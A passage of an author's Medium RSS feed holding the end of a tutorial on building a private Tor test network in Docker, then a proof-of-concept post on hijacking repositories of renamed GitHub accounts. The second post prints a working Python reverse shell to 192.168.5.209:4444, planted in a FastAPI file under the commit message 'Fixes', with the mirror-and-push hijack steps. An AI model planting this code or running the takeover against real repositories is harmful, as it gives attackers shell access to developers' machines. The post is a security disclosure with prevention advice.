href="https://manpages.debian.org/testing/tor/torrc.5.en.html">the documentation</a>.</p><pre># This automatically sets multiple options that make it easier to setup a testing network<br># For example, it reduces voting intervals, allow routing of private IPs and disables distinct subnet restrictions<br>TestingTorNetwork 1<br><br># This will speed up the process of adding nodes<br>AssumeReachable 1<br><br># We disable IPv6 since we don&#39;t use it<br>AddressDisableIPv6 1<br><br># We activate the control port to use Nyx<br>ControlPort 9051<br>CookieAuthentication 1<br><br># These two lines make the node act as a DA<br>AuthoritativeDirectory 1<br>V3AuthoritativeDirectory 1<br><br># Advertising the directory service port and onion routing port are required for DAs<br>DirPort 80 IPv4Only<br>ORPort 9001 IPv4Only<br><br># Disable the client port since we won&#39;t be using that on the DA<br>SocksPort 0<br><br># Without the following lines, if you stop the network and boot it again later, the nodes will have trouble getting their flags again<br># This is because flags are given based on the fraction of uptime compared to the relay lifetime<br># It will basically give the guard and hsdir (hidden service directory) flags to all nodes by default<br>TestingDirAuthVoteGuard *<br>TestingDirAuthVoteHSDir *<br><br># The nickname will allow us to reference our node by name instead of fingerprint<br>Nickname da1<br><br># The address seems to be needed when our nodes run on a private subnet<br># Without it, Tor never succeeds in finding our node&#39;s IP<br># Of course, adjust with your node&#39;s actual IP<br>Address 10.5.1.10<br><br># Having a contact info directive is just good practice and silences a warning<br>ContactInfo da1 &lt;da1 AT localhost&gt;</pre><p>Next we will generate our DA keys and fingerprint.</p><blockquote>The <em>debian-tor</em> user is automatically created when you install tor on <em>Debian</em>. If you use something other than <em>Debian</em>, validate what’s the name of this user in your <em>/etc/passwd</em> file.</blockquote><pre># Create the Tor data directory and give proper permission<br>mkdir -p /var/lib/tor/.tor/keys<br>chown -R debian-tor:debian-tor /var/lib/tor/.tor<br>cd /var/lib/tor/.tor/keys<br><br># Generate the keys and certificates<br># Here I&#39;m generating a random password for the key since there is no real use in knowing it<br># The -m parameter specify a 12 months expiration of the certificate<br># Be sure to adjust the IP address<br>echo $(tr -dc A-Za-z0-9 &lt;/dev/urandom | head -c 12) | sudo -u debian-tor tor-gencert --create-identity-key -m 12 -a 10.5.1.10:80 --passphrase-fd 0<br><br># Finally, generate the fingerprint<br># The --dirauthority parameter is required since it is still missing from our torrc and would normally be required<br># The value here is not important for now<br>cd ..<br>sudo -u debian-tor tor --list-fingerprint --dirauthority &quot;placeholder 127.0.0.1:80 0000000000000000000000000000000000000000&quot;<br><br># We can now generate the DirAuthority line that we were missing using this (pretty ugly) command<br>echo &quot;&quot;&quot;DirAuthority da1 orport=9001 no-v2 v3ident=$(grep &quot;fingerprint&quot; keys/authority_certificate | cut -d &quot; &quot; -f 2) 10.5.1.10:80 $(cat fingerprint | cut -d &quot; &quot; -f 2)&quot;&quot;&quot;<br><br># Now add this line to your torrc file<br>vi /etc/tor/torrc<br><br># Keep that line somewhere safe, we&#39;ll be needing it later</pre><p>Good news, our first DA is configured! Let’s save our configuration to an image.</p><pre># Exit the container<br>exit<br><br># Create an image with our configuration<br>docker commit tmp-da-1 da-1<br><br># Get rid of the temporary container<br>docker rm tmp-da-1</pre><h3>Adding more directory authorities (optional)</h3><p>You can technically run your network with a single DA, but this kind of defeats the purpose of reaching a consensus. If you want the full experience, let’s add 2 more! Simply repeat the steps that were taken to create the first DA, making sure to adjust any references to the nickname and IP address along the way.</p><p>The last thing you will have to do to finally bring your (currently pretty slim) network to life is to make every DA aware of each other. To do this, we will simply adjust the images we created to add all DirAuthority directives to our torrc (so if you have 3 DAs, your torrc will contain 3 DirAuthority lines).</p><pre># Let&#39;s recreate temporary containers from our images<br>docker run --name tmp-da-1 --ip 10.5.1.10 --network testing-tor -it da-1 bash<br><br># Add all DirAuthority to your torrc<br>vi /etc/tor/torrc<br><br># Exit the container<br>exit<br><br># Commit the new configuration<br>docker commit tmp-da-1 da-1<br><br># Get rid of the tmp container<br>docker rm tmp-da-1<br><br># Rinse and repeat for all of your DAs</pre><h3>Bringing your network up</h3><p>Time to start your DA container(s)!</p><pre>docker run --name da-1 --ip 10.5.1.10 --network testing-tor -d da-1 sudo -u debian-tor tor<br>docker run --name da-2 --ip 10.5.1.11 --network testing-tor -d da-2 sudo -u debian-tor tor<br>docker run --name da-3 --ip 10.5.1.12 --network testing-tor -d da-3 sudo -u debian-tor tor<br>...</pre><p>You can now monitor your nodes using Nyx with docker exec -it da-1 nyx. When all your nodes get the Authority flag, it means that they have been added to the consensus and are considered valid DAs. Congratulations! The most complicated part is behind us!</p><h3><strong>Adding middle and guard relays</strong></h3><p>Tor circuits normally consist of three relays: a guard (entry) relay, a middle relay and an exit relay. In terms of configuration, guards and middles are the same. The guard flag is normally given to relays that have sufficient bandwidth, a good uptime and a little bit of age. To avoid waiting for all of this, we previously put the TestingDirAuthVoteGuard * directive in our DAs torrc which will give all relays the guard flag by default. Let’s create a relay container.</p><pre>docker run --name tmp-relay-1 --ip 10.5.1.20 --network testing-tor -it testing-tor bash</pre><p>Here’s the torrc configuration (don’t forget to put in the DirAuthority lines from all of your DAs).</p><pre>TestingTorNetwork 1<br>AssumeReachable 1<br>AddressDisableIPv6 1<br>ControlPort 9051<br>CookieAuthentication 1<br>SocksPort 0<br><strong>Nickname relay1<br>Address 10.5.1.20<br>ContactInfo relay1 &lt;relay1 AT localhost&gt;</strong><br>ORPort 9001 IPv4Only<br><br># All the DirAuthority information of the DAs in the network<br><strong>DirAuthority da1 orport=9001 no-v2 v3ident=...<br>DirAuthority da2 orport=9001 no-v2 v3ident=...<br>DirAuthority da3 orport=9001 no-v2 v3ident=...</strong><br>...</pre><p>Once again, let’s save the image and start the container.</p><pre>exit<br>docker commit tmp-relay-1 relay-1<br>docker rm tmp-relay-1<br>docker run --name relay-1 --ip 10.5.1.20 --network testing-tor -d relay-1 sudo -u debian-tor tor</pre><p>Simply repeat these steps for the number of relays you want. Don’t forget to monitor your relays using <em>Nyx </em>to see when they get their flags and are ready to be used to build circuits.</p><h3><strong>Adding exit relays</strong></h3><p>Exit relays are very similar to guard/middle relays, except they contain an ExitPolicy that allows traffic to exit the network through them. You know the drill by now.</p><pre>docker run --name tmp-exit-1 --ip 10.5.1.30 --network testing-tor -it testing-tor bash</pre><pre>TestingTorNetwork 1<br>AssumeReachable 1<br>AddressDisableIPv6 1<br>ControlPort 9051<br>CookieAuthentication 1<br>SocksPort 0<br><strong>Nickname exit1<br>Address 10.5.1.30<br>ContactInfo exit1 &lt;exit1 AT localhost&gt;</strong><br>ORPort 9001 IPv4Only<br><br># This will allow exit with the default policy<br># See torrc documentation for the exact list of allowed ports if you&#39;re curious<br><strong>ExitRelay 1</strong><br><br>DirAuthority da1 orport=9001 no-v2 v3ident=...<br>DirAuthority da2 orport=9001 no-v2 v3ident=...<br>DirAuthority da3 orport=9001 no-v2 v3ident=...<br>...</pre><pre>exit<br>docker commit tmp-exit-1 exit-1<br>docker rm tmp-exit-1<br>docker run --name exit-1 --ip 10.5.1.30 --network testing-tor -d exit-1 sudo -u debian-tor tor</pre><p>Once again, repeat these steps for the number of exit relays you want, and monitor the flags using <em>Nyx</em>.</p><h3><strong>Adding a client</strong></h3><p>At this point, we have a fully functional Tor network and are able to route traffic through it. All we need is a client. We’ll go over three ways to send your traffic through.</p><p>The first method will be to add a client container and to expose the Tor Socksv5 port to the host, so we can proxy CURL through it. The procedure is pretty much the same has what we did above.</p><pre>docker run --name tmp-client-1 --network testing-tor -it testing-tor bash</pre><pre>TestingTorNetwork 1<br><br># We specifically listen on 0.0.0.0 to allow the host to connect through an exposed Docker port<br><strong>SocksPort 0.0.0.0:9050</strong><br><br>DirAuthority da1 orport=9001 no-v2 v3ident=...<br>DirAuthority da2 orport=9001 no-v2 v3ident=...<br>DirAuthority da3 orport=9001 no-v2 v3ident=...<br>...</pre><pre>exit<br>docker commit tmp-client-1 client-1<br>docker rm tmp-client-1<br><br># We add the -p parameter to bind port 9050 on the host to port 9050 in the container<br>docker run --name client-1 --network testing-tor -p 9050:9050 -d client-1 sudo -u debian-tor tor</pre><p>We can now use CURL to send requests!</p><pre># It&#39;s important to use the socks5h protocol and not the socks5 protocol<br># Only the former will resolve the hostname through the proxy<br># The latter will resolve the hostname before sending the request through<br>curl -x socks5h://localhost:9050 https://hackerman.ca</pre><p>The second way is really just a twist on the first one. Most modern web browsers support the Socksv5 protocol and can be configured to use them to send requests. If you want something a little more convenient than changing your proxy configuration every time you want to test your network, you can download a browser extension such as <em>FoxyProxy </em>to easily switch between configurations.</p><p>The third (and coolest) way is to use the official Tor browser. However, this depends a little bit on your machine setup and might require a bit of routing configuration (for example if you are using Windows + WSL2 like me). Just be sure that your machine is able to ping your nodes and you should be fine. <a href="https://www.torproject.org/download/">Download and install the Tor browser</a>, navigate to your installation directory, and go to Browser\TorBrowser\Data\Tor. In this folder, you will find the now familiar torrc file that you can simply replace with the one above (you can omit the SocksPort directive since we don’t have to expose the port). If it’s not the first time you use this browser, you will have to get rid of everything in this folder first (except the geoip, geoip6 and torrc-defaults files). Start up the browser, and you’re good to go!</p><h3><strong>Adding a hidden service</strong></h3><p>The final things to add to our network are hidden services. These are the services with the .onion addresses that you see all over the Tor network. Like when you set up the client, there are multiple ways to do this, but we’ll go with what is, in my opinion, the simplest and most versatile way to do it. First, let’s create a container with our service. We’ll setup a simple <em>NGINX</em> default page.</p><pre>docker run --network testing-tor --ip 10.5.1.50 -d nginx</pre><p>Next, let’s create a HS container.</p><pre>docker run --name tmp-hs-1 --ip 10.5.1.60 --network testing-tor -it testing-tor bash</pre><pre>TestingTorNetwork 1<br>AssumeReachable 1<br>AddressDisableIPv6 1<br>ControlPort 9051<br>CookieAuthentication 1<br>SocksPort 0<br><br># Set the location of the HS files<br><strong>HiddenServiceDir /var/lib/tor/.tor/hs/</strong><br><br># Tell Tor where to forward requests<br># Here we tell it to listen on port 80 and to forward all requests to 10.5.1.50:80<br><strong>HiddenServicePort 80 10.5.1.50:80</strong><br><br>DirAuthority da1 orport=9001 no-v2 v3ident=...<br>DirAuthority da2 orport=9001 no-v2 v3ident=...<br>DirAuthority da3 orport=9001 no-v2 v3ident=...<br>...</pre><pre>exit<br>docker commit tmp-hs-1 hs-1<br>docker rm tmp-hs-1<br>docker run --name hs-1 --ip 10.5.1.60 --network testing-tor -d hs-1 sudo -u debian-tor tor</pre><p>You can get the onion URL from the HS container using docker exec hs-1 cat /var/lib/tor/.tor/hs/hostname, and use any of the methods listed above in the client section to access your new hidden service!</p><h3><strong>Now do it faster</strong></h3><p>Well, that was convoluted. This article does its job in teaching you everything it takes to spin up a Tor network from scratch. However, I think we can all agree that while this works, it’s a bit too involved to easily spin up a network to test something real quick, and then take down to save the resources. The good news is, I’ve taken all of what we did above and packed it neatly into this Github repository: <a href="https://github.com/daxAKAhackerman/testing-tor-network">https://github.com/daxAKAhackerman/testing-tor-network</a>. The repository is made to be lightweight; there is very little code in there. It consists of a simple Python CLI that wraps the different docker commands discussed above, as well as a few scripts, torrc files and Dockerfiles to make the whole thing painless. The same results that we got above can be achieved with the following commands in a few seconds (note that Python3.12 as well as pipenv are required).</p><pre>git clone https://github.com/daxAKAhackerman/testing-tor-network<br>cd testing-tor-network<br>make<br>pipenv shell<br>python cli/main.py container add-da --count 3<br>python cli/main.py container add-relay --count 5<br>python cli/main.py container add-exit --count 3<br>python cli/main.py container add-client --port 9050<br>docker run --network testing-tor --ip 10.5.0.10 -d nginx<br>python cli/main.py container add-hs --service-ip 10.5.0.10</pre><p>Have a look at the <em>README </em>for more detail!</p><h3><strong>Conclusion</strong></h3><p>In this article, we successfully set up a testing Tor network consisting of directory authorities, guard, middle and exit relays. We’ve shown three methods of accessing this network, and we’ve even added a hidden service. Finally, we saw that the whole process could be automated in a few seconds using the testing-tor-network CLI. So what now? Well, now it’s time to explore, break, tweak, and so on! You can try the various directive that can be put in the torrc files of your nodes and see the effect, test attack scenarios such as deanonymization attacks, try to break things and do what you’re not supposed to do!</p><p>For my part, that’s exactly what I’m going to do! Keep an eye out for my next articles, where I’ll dive deeper into the inner workings of the Tor network.</p><p>That’s all folks, stay safe out there, and hack the planet!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e952d76a18cb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Taking Over Renamed GitHub Account Repositories]]></title>
            <link>https://medium.com/poka-techblog/taking-over-renamed-github-account-repositories-a46d288afa86?source=rss-38844d2c6700------2</link>
            <guid isPermaLink="false">https://medium.com/p/a46d288afa86</guid>
            <category><![CDATA[github]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[development]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[dax]]></dc:creator>
            <pubDate>Mon, 17 May 2021 16:03:18 GMT</pubDate>
            <atom:updated>2021-05-17T16:03:18.028Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4yiCgIzncXZljXEOfOeJHw.png" /></figure><p>Recently I’ve found myself wanting to change my GitHub username to something a bit more professional. I created my account awhile back when I was not contributing to any other repository than my own, and I didn’t plan to have any public repository that would be used by others, so the username didn’t really matter. But since then, I became a full-time developer at Poka and created a couple of public repositories. My username makes it a bit hard for other developers to tag me in pull request reviews or to understand that this is actually me.</p><p>A quick look in Google led me to a few blog posts that explain the process as well as the potential risks of doing such thing. However, I feel like these blog posts don’t put enough emphasis on the whole security aspect of this.</p><p>Being a security enthusiast myself and having worked in penetration testing for a couple of years, I thought of writing this article as a sort of “Proof-of-Concept” for a repository takeover in the event that a GitHub account that has some publicly used repositories is renamed.</p><h3>Setting up the stage</h3><p>I’ve created a brand new account for this purpose named “dax-test-01” that will serve as the account with a “popular” repository. This repository will be called “security-project”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H7qevf6wOrqnkc-vSMVSIQ.png" /><figcaption><em>Newly created GitHub repository</em></figcaption></figure><p>This project will contain a very basic FastAPI “Hello World”. Let’s quickly write that code, try it out and push it to main (the code was taken directly from <a href="https://fastapi.tiangolo.com/#create-it">https://fastapi.tiangolo.com/#create-it</a>).</p><pre><strong>dax$</strong> uvicorn main:app --reload --host 0.0.0.0<br>INFO:     Uvicorn running on <a href="http://0.0.0.0:8000/">http://0.0.0.0:8000</a> (Press CTRL+C to quit)<br>INFO:     Started reloader process [7718] using statreload<br>INFO:     Started server process [7720]<br>INFO:     Waiting for application startup.<br>INFO:     Application startup complete.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Yvd1dZZKiPmBDr7AcmOkw.png" /><figcaption><em>Pushing the new code to the repository</em></figcaption></figure><p>Now, let’s have our unsuspecting victim clone our repository, set it up and try it out.</p><pre><strong>victim$</strong> git clone <a href="https://github.com/dax-test-01/security-project.git">https://github.com/dax-test-01/security-project.git</a><br>Cloning into &#39;security-project&#39;...<br>remote: Enumerating objects: 8, done.<br>remote: Counting objects: 100% (8/8), done.<br>remote: Compressing objects: 100% (6/6), done.<br>remote: Total 8 (delta 0), reused 5 (delta 0), pack-reused 0<br>Unpacking objects: 100% (8/8), 2.96 KiB | 378.00 KiB/s, done.<br><strong>victim$</strong> cd security-project/<br><strong>victim$</strong> uvicorn main:app --reload --host 0.0.0.0<br>INFO:     Uvicorn running on <a href="http://0.0.0.0:8000/">http://0.0.0.0:8000</a> (Press CTRL+C to quit)<br>INFO:     Started reloader process [260] using statreload<br>INFO:     Started server process [262]<br>INFO:     Waiting for application startup.<br>INFO:     Application startup complete.</pre><h3>The fatal mistake</h3><p>Now, let’s say that I am no longer satisfied with the username “dax-test-01”, and that “dax-test-02” would obviously be better. Luckily for us, GitHub allows us to change username painlessly in the account settings. This also sets up nice redirects for a lot of things, such as repository references. With these redirections, account renaming will be mostly transparent (except for a few things here and there as stated in <a href="https://docs.github.com/en/github/setting-up-and-managing-your-github-user-account/changing-your-github-username">GitHub documentation</a>). People that cloned the repository before the renaming will still be able to pull, and links to the repository page will redirect to the new one. Here’s the catch: these redirections will only work as long as someone else doesn’t claim the redirected URLs.</p><p>To put these redirections in place, first, let’s rename our account:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_m1Q7gozUClcNobys_OUwA.png" /><figcaption><em>Renaming the GitHub account</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qWYEPNCyV905waKhV1HLqA.png" /><figcaption><em>The account was successfully renamed</em></figcaption></figure><p>The above screenshot mentions to “update your local repositories to point to the new location”, so let’s do just that. There are also a couple of other things that we would want to adjust such as the username we are using when creating commits or any mention of our username in the project code, but this is irrelevant for this “Proof-of-Concept”.</p><pre><strong>dax$</strong> git remote set-url origin https://github.com/dax-test-02/security-project.git</pre><p>Just to show that the cloned repositories still works, let’s make a modification to the README and push it.</p><pre><strong>dax$</strong> echo foo &gt;&gt; README.md<br><strong>dax$</strong> git add -A<br><strong>dax$</strong> git commit -m &quot;README modif&quot;<br>[main 33c477b] README modif<br> 1 file changed, 1 insertion(+), 1 deletion(-)<br><strong>dax$</strong> git push<br>Username for &#39;<a href="https://github.com&/#39;">https://github.com&#39;</a>: dax-test-02<br>Password for &#39;<a href="https://dax-test-02@github.com&/#39;">https://dax-test-02@github.com&#39;</a>:<br>Enumerating objects: 5, done.<br>Counting objects: 100% (5/5), done.<br>Delta compression using up to 2 threads<br>Compressing objects: 100% (2/2), done.<br>Writing objects: 100% (3/3), 282 bytes | 282.00 KiB/s, done.<br>Total 3 (delta 1), reused 0 (delta 0)<br>remote: Resolving deltas: 100% (1/1), completed with 1 local object.<br>To <a href="https://github.com/dax-test-02/security-project.git">https://github.com/dax-test-02/security-project.git</a><br>   9e56736..33c477b  main -&gt; main</pre><p>And now let’s pull it again on the victim side. Note that the remote URL is still the old one.</p><pre><strong>victim$</strong> git pull<br>remote: Enumerating objects: 5, done.<br>remote: Counting objects: 100% (5/5), done.<br>remote: Compressing objects: 100% (1/1), done.<br>remote: Total 3 (delta 1), reused 3 (delta 1), pack-reused 0<br>Unpacking objects: 100% (3/3), 262 bytes | 87.00 KiB/s, done.<br>From <a href="https://github.com/dax-test-01/security-project">https://github.com/dax-test-01/security-project</a><br>   9e56736..33c477b  main       -&gt; origin/main<br>Updating 9e56736..33c477b<br>Fast-forward<br> README.md | 2 +-<br> 1 file changed, 1 insertion(+), 1 deletion(-)<br><strong>victim$</strong> git remote -v<br>origin  <a href="https://github.com/dax-test-01/security-project.git">https://github.com/dax-test-01/security-project.git</a> (fetch)<br>origin  <a href="https://github.com/dax-test-01/security-project.git">https://github.com/dax-test-01/security-project.git</a> (push)</pre><h3>The hack</h3><p>Now, let’s introduce our malicious actor. He stumbled upon our repository a little while ago and just noticed that we changed our GitHub username. Or even worse, he has set up a bot that scrapes GitHub and stores all popular repository URLs based on the number of stars and periodically checks them to find redirections. Since GitHub keeps no history of past usernames (except for the redirects of course), as soon as “dax-test-01” changed his username, it becomes publicly available for anyone to claim. Let’s create this new account:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*yRjDNVuIIpDLyYjUpS-rRQ.png" /><figcaption><em>Creating an account with the previously used username</em></figcaption></figure><p>We verify our email and we are now the proud new owner of the “dax-test-01” username:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*J24AmpAdH_DkeoxM6Qb46A.png" /><figcaption><em>Newly created GitHub account</em></figcaption></figure><p>Note that redirects are still working as long as the bad actor doesn’t create a repository with the same name as ours. The chances of this occurring by accident are quite small. If it happens, then this person is most likely trying to hijack the repository. Let’s have this new account create a repository named “security-project”. It’s important not to add a <em>README </em>or <em>.gitignore</em> because we want this repository to be completely empty and without branches:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*x8a8Hs1DAPGONsbITNsPlw.png" /><figcaption><em>Creating a repository with the same name as the one we want to hijack</em></figcaption></figure><p>Now, let’s mirror the legitimate code and push everything to our new malicious repository:</p><pre><strong>attacker$</strong> git clone --mirror <a href="https://github.com/dax-test-02/security-project.git">https://github.com/dax-test-02/security-project.git</a><br>Cloning into bare repository &#39;security-project.git&#39;...<br>remote: Enumerating objects: 11, done.<br>remote: Counting objects: 100% (11/11), done.<br>remote: Compressing objects: 100% (7/7), done.<br>remote: Total 11 (delta 1), reused 8 (delta 1), pack-reused 0<br>Unpacking objects: 100% (11/11), 3.19 KiB | 1.59 MiB/s, done.<br><strong>attacker$</strong> cd security-project.git/<br><strong>attacker$</strong> git push --mirror <a href="https://github.com/dax-test-01/security-project.git">https://github.com/dax-test-01/security-project.git</a><br>Username for &#39;<a href="https://github.com&/#39;">https://github.com&#39;</a>: dax-test-01<br>Password for &#39;<a href="https://dax-test-01@github.com&/#39;">https://dax-test-01@github.com&#39;</a>:<br>Enumerating objects: 11, done.<br>Counting objects: 100% (11/11), done.<br>Delta compression using up to 2 threads<br>Compressing objects: 100% (8/8), done.<br>Writing objects: 100% (11/11), 3.21 KiB | 3.21 MiB/s, done.<br>Total 11 (delta 1), reused 0 (delta 0)<br>remote: Resolving deltas: 100% (1/1), done.<br>To <a href="https://github.com/dax-test-01/security-project.git">https://github.com/dax-test-01/security-project.git</a><br> * [new branch]      main -&gt; main</pre><p>Using the <em>mirror</em> option is important here. If we just create a new repository and copy/paste the original code in it, our potential victim would see the following message when pulling, indicating that the commit history is messed up:</p><pre><strong>victim$</strong> git pull<br>warning: no common commits<br>remote: Enumerating objects: 9, done.<br>remote: Counting objects: 100% (9/9), done.<br>remote: Compressing objects: 100% (6/6), done.<br>remote: Total 9 (delta 0), reused 6 (delta 0), pack-reused 0<br>Unpacking objects: 100% (9/9), 3.11 KiB | 796.00 KiB/s, done.<br>From <a href="https://github.com/dax-test-01/security-project">https://github.com/dax-test-01/security-project</a><br> + 33c477b...0ef5920 main       -&gt; origin/main  (forced update)<br>fatal: refusing to merge unrelated histories</pre><p>Let’s clone our new malicious repository:</p><pre><strong>attacker$</strong> git clone <a href="https://github.com/dax-test-01/security-project.git">https://github.com/dax-test-01/security-project.git</a><br>Cloning into &#39;security-project&#39;...<br>remote: Enumerating objects: 11, done.<br>remote: Counting objects: 100% (11/11), done.<br>remote: Compressing objects: 100% (7/7), done.<br>remote: Total 11 (delta 1), reused 11 (delta 1), pack-reused 0<br>Unpacking objects: 100% (11/11), 3.19 KiB | 1.06 MiB/s, done.</pre><p>And add our surprise commit (the malicious code was taken from <a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">here</a>):</p><pre><strong>attacker$</strong> cat main.py<br>import socket<br>import subprocess<br>import os</pre><pre>from fastapi import FastAPI</pre><pre>app = FastAPI()</pre><pre>s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)<br>s.connect((&quot;192.168.5.209&quot;,4444))<br>os.dup2(s.fileno(),0)<br>os.dup2(s.fileno(),1)<br>os.dup2(s.fileno(),2)<br>p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;])</pre><pre>@app.get(&quot;/&quot;)<br>def read_root():<br>    return {&quot;Hello&quot;: &quot;World&quot;}</pre><p>These few lines of Python will allow the attacker to access the victim’s machine with the privileges of the user that ran the FastAPI code. Let’s push it with a reasonable commit message:</p><pre><strong>attacker$</strong> git add -A<br><strong>attacker$</strong> git commit -m &quot;Fixes&quot;<br>[main b900fd5] Fixes<br> 1 file changed, 10 insertions(+)<br><strong>attacker$</strong> git push<br>Username for &#39;<a href="https://github.com&/#39;">https://github.com&#39;</a>: dax-test-01<br>Password for &#39;<a href="https://dax-test-01@github.com&/#39;">https://dax-test-01@github.com&#39;</a>:<br>Enumerating objects: 5, done.<br>Counting objects: 100% (5/5), done.<br>Delta compression using up to 2 threads<br>Compressing objects: 100% (3/3), done.<br>Writing objects: 100% (3/3), 473 bytes | 473.00 KiB/s, done.<br>Total 3 (delta 1), reused 0 (delta 0)<br>remote: Resolving deltas: 100% (1/1), completed with 1 local object.<br>To <a href="https://github.com/dax-test-01/security-project.git">https://github.com/dax-test-01/security-project.git</a><br>   33c477b..b900fd5  main -&gt; main</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*zooaXRv3cda-FNjEzwk1nQ.png" /><figcaption><em>Malicious repository containing the new main.py</em></figcaption></figure><p>All we need to do now is setup our handler to catch our reverse shell and wait for our unsuspecting victim to candidly pull the repository and run the poisoned FastAPI code:</p><pre><strong>victim$</strong> git pull<br>remote: Enumerating objects: 5, done.<br>remote: Counting objects: 100% (5/5), done.<br>remote: Compressing objects: 100% (2/2), done.<br>remote: Total 3 (delta 1), reused 3 (delta 1), pack-reused 0<br>Unpacking objects: 100% (3/3), 453 bytes | 151.00 KiB/s, done.<br>From <a href="https://github.com/dax-test-01/security-project">https://github.com/dax-test-01/security-project</a><br>   33c477b..b900fd5  main       -&gt; origin/main<br>Updating 33c477b..b900fd5<br>Fast-forward<br> main.py | 10 ++++++++++<br> 1 file changed, 10 insertions(+)<br><strong>victim$</strong> uvicorn main:app --reload --host 0.0.0.0<br>INFO:     Uvicorn running on <a href="http://0.0.0.0:8000/">http://0.0.0.0:8000</a> (Press CTRL+C to quit)<br>INFO:     Started reloader process [297] using statreload</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*-WpMCz0SK0SJ-SsgC-gO5w.png" /><figcaption><em>Reverse shell caught on the attacker’s machine</em></figcaption></figure><p>And just like that the attacker now has full control over the victim’s machine. In the above screenshot, we test our connection by checking the current user, the working directory and we write an arbitrary file in the <em>/tmp</em> folder. Since we can basically do everything the victim can do on his computer, you can imagine the kind of damage this could do!</p><h3>How to prevent this (not really)</h3><p>There is a temporary way to avoid this issue when renaming a GitHub account. It is called username squatting. This involves creating a new account with your old username as soon as you renamed your account. This way, you prevent a bad actor from creating that account himself. You can then write a nice message in your profile’s bio indicating that the account was renamed with a link to the new profile.</p><p>The reason I say this is temporary is because username squatting is against <a href="https://docs.github.com/en/github/site-policy/github-username-policy#name-squatting-policy">GitHub username policy</a>. This policy states that such account can be removed or renamed without notice. Even worst, if you’ve been sitting on a username like this for a while, someone can contact GitHub support about releasing your username and they will most likely gladly do it. An example of this (not for malicious intent) can be found <a href="https://dev.to/lucis/how-i-got-the-github-username-of-my-dreams-5db5">here</a>, where such account was released under 24 hours.</p><h3>How <strong>to prevent this (the only real way)</strong></h3><p>You’ve probably seen this coming, but the only way to avoid this is not to change your GitHub username if you have publicly used repositories.</p><h3>Conclusion</h3><p>At the time of writing this article, GitHub does not provide any feature that can help you rename your account in a secure way. A possible solution on GitHub’s side could be to add a username history to accounts with a “cool down” period of maybe a month so people won’t just change username 10 times a day. This, of course, is easier said than done since GitHub was not built for this purpose. The usernames are currently not “tightly coupled” to your account, which leads for example to the ability to commit as any GitHub user, potentially indicating a bigger problem.</p><p>In the meantime, you might want to hold on to your current username and start accepting the fact that you are going to be referred to as <em>xXxZezima1337xXx</em> for a little while.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a46d288afa86" width="1" height="1" alt=""><hr><p><a href="https://medium.com/poka-techblog/taking-over-renamed-github-account-repositories-a46d288afa86">Taking Over Renamed GitHub Account Repositories</a> was originally published in <a href="https://medium.com/poka-techblog">poka-techblog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>